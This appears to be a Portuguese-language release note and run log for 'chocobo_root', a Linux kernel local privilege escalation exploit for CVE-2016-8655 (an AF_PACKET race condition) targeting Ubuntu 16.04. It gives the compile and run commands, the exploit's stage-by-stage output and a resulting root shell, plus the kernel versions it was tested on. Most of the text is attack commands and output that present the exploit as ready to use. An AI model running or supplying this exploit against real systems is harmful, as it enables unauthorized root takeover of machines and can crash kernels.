
Exploit de escalonamento de privilégio local no kernel Linux para CVE-2016-8655, visando condição de corrida AF_PACKET no Ubuntu 16.04 x86_64 para obter shell root via manipulação de memória.
ocobo_root.c exploit de condição de corrida AF_PACKET no Linux exploit para Ubuntu 16.04 x86_64
user@ubuntu:$ gcc chocobo_root.c -o chocobo_root -lpthread
user@ubuntu:$ ./chocobo_root
tornando a página vsyscall gravável..
nova tentativa de exploit começando, saltando para 0xffffffff8106f320, arg=0xffffffffff600000 sockets alocados removendo barreira e espalhando.. parada do trocador de versão, x = -1 (y = 174222, último valor = 2) versão atual do pacote = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 === TPACKET_V1 && offset_to_first_pkt != 0, corrida venceu === por favor, aguarde até alguns minutos para o temporizador ser executado. se você pressionar ctrl-c agora o kernel irá travar. então não faça isso. fechando socket e verificando....... página vsyscall alterada!
estágio 1 concluído registrando novo sysctl..
nova tentativa de exploit começando, saltando para 0xffffffff812879a0, arg=0xffffffffff600850 sockets alocados removendo barreira e espalhando.. parada do trocador de versão, x = -1 (y = 30773, último valor = 0) versão atual do pacote = 2 pbd->hdr.bh1.offset_to_first_pkt = 48 corrida não venceu
repetindo estágio.. nova tentativa de exploit começando, saltando para 0xffffffff812879a0, arg=0xffffffffff600850 sockets alocados removendo barreira e espalhando.. parada do trocador de versão, x = -1 (y = 133577, último valor = 2) versão atual do pacote = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 === TPACKET_V1 && offset_to_first_pkt != 0, corrida venceu === por favor, aguarde até alguns minutos para o temporizador ser executado. se você pressionar ctrl-c agora o kernel irá travar. então não faça isso. fechando socket e verificando....... sysctl adicionado!
estágio 2 concluído binário executado pelo kernel, iniciando rootshell root@ubuntu:~# id uid=0(root) gid=0(root) groups=0(root),1000(user)
==============================
Existem offsets incluídos para kernels mais antigos, mas eles não foram testados, então esteja ciente de que este exploit provavelmente irá travar kernels mais antigos que 4.4.
testado em: Ubuntu 16.04: 4.4.0-51-generic Ubuntu 16.04: 4.4.0-47-generic Ubuntu 16.04: 4.4.0-36-generic Ubuntu 14.04: 4.4.0-47-generic #68~14.04.1-Ubuntu
Agradecimentos para: jsc pela inspiração (https://www.youtube.com/watch?v=x4UDIfcYMKI) mcdelivery por entregar hotcakes e café
11/2016 por rebel